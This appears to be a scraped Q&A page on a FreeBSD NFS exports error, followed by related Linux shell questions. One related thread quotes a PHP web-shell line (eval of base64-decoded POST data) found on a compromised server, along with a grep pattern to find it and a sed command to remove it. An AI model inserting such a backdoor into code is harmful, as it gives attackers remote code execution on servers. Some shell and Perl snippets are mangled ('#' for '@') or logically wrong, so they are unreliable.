freebsd NFS /etc/exports - freebsd

There are 2 directory in /vol. (test1 test2)
I wish it can work like this:
/vol/test1 -ro 192.168.31.111
/vol/test2 192.168.31.111
but it got error:bad exports list line.
Is that any solution can let it work?
Thanks.

Please try to add mask to your IP.
I think file /etc/exports must be something like this:
/vol/test1 -ro -network 192.168.31.111/32
/vol/test2 192.168.31.111/32
#
You can read more on official exports manual: https://www.freebsd.org/cgi/man.cgi?query=exports

Related

Linux command line open any directory

I'm currently using the Linux command line and was just wondering whether there is a quick command you can enter into the console to open any of a given directory.
I'll give you an example of what I mean.
say in a directory ligands/
we have:
ligand_1993324
ligand_1993444
ligand 1993255
shoe_lace
water_bottle
Lets just say there are 100000 of these very similar directories. Because I'm lazy I just want to pick any random one of these, but it has to begin with ligand_199 for example.
Please not I'm trawled through the manual and can't find anything, I've also looked at other stacks, any help would be great!
There are a couple of versions of a program called variously "randomline" or "randline" about. This version shows its age (it's in Perl).
#!/usr/bin/perl
while(<>)
{
push #lines, $_;
}
$randline = $#lines;
$randline = rand($randline);
print $lines[$randline];
Given this in a file ~/bin/randomline, then your task reduces to the following, assuming that you want to open the file with vim:
vim $(ls ligands/ligand_199* | ~/bin/randomline)
You can use following:
files=(/my/dir/*)
file=`printf "%s\n" "${files[RANDOM % ${#files[#]}]}"`
cat file
Maybe something like
number=$(((RANDOM%10000)+1)) && emacs -nw "ligand_199$number" ?

remove eval base64_decode from file with ssh

I found several php-files on the webserver(CentOs with WHM) that contain something like this:
eval(base64_decode($_POST['n23fcad']));?><?php
or
eval(base64_decode($_POST['n56660d']));?><?php
And so on.
Can I remove this part of code from the php-file, leaving the rest of the file intact?
For now I'm using the following line to detect the files:
grep -lr --include=*.php "eval(base64_decode" .
I don't know how to delete the malicious part.
As you can see between the brackets of POST the code changes.
So hopefully there is a way to delete these kind of lines.
Thanks in advance!
Please try the following method
cat injected_file.php | sed 's/<?php.*eval.*]));?>//g' > good_file.php
it works for me.

Linux use variable to change file name

I have picked up a folder name like this:
fname=${i##*/},
Where i is the 'runner' in a for loop, btw. Incidently, the i is the current directory. Now, I would like to use the $fname for renaming an other file. Something like this:
mv OLDFILE.Extension $fname.NewExtension
How can this be done in linux/bash?
Thanks
jd
Thanks. But I did:
mv OLDFILE.Extension $fname"NewExtension"
It worked out well.
jd

Shell script to change file name using for loop

I want to change file names in a folder in a way like this:
previous form new form
one-1 to VAS-M0001-001
one-2 to VAS-M0001-002
one-3 to VAS-M0001-003
one-4 to VAS-M0001-004
Can anyone please suggest me a good way to do that?
I would just use a simple loop:
for f in one-*; do mv one-$f VAS-M001-000$f; done
Of course, you can use printf to format the number better (if you have more than 9 files)
rename has such a functionality
[username#hostname aa]$ touch one-1 one-2 one-3 one-4
[username#hostname aa]$ ls
one-1 one-2 one-3 one-4
[username#hostname aa]$ rename one- VAS-M0001-000 one*
[username#hostname aa]$ ls
VAS-M0001-0001 VAS-M0001-0002 VAS-M0001-0003 VAS-M0001-0004

Bind/Named named.conf deleted/replaced accidently.. recovery help

Apologies my bad english.
Well, I accidentally replace named.conf ..
is there any way to see the configuration again ...
named continues running without restart
show me something like configurations running ....
Thanks to all
PS. i tried to recover the file but it was not erased.
Unless you have a backup of some kind you're going to be out of luck. Although you might get some vague details from rndc you'll never recover the actual file...
You may grep your disk for it.
I usually add the same comment to all the configuration files i touch. Something like
## (pablo) /etc/inputrc
...
## eof
If i delete /etc/inputrc i can grep for it with:
fgrep -a -A 50 '## (pablo) /etc/inputrc' /dev/sda >/some/file/outside/dev/sda
You may use the same technique looking for something you know is in the file, like some domain name you were serving.
-a force text search
-A 50 display 50 lines after the pattern matched
-B 50 display 50 lines before the pattern matched
-B is usefull if you don't know exactly where the pattern will match.

Resources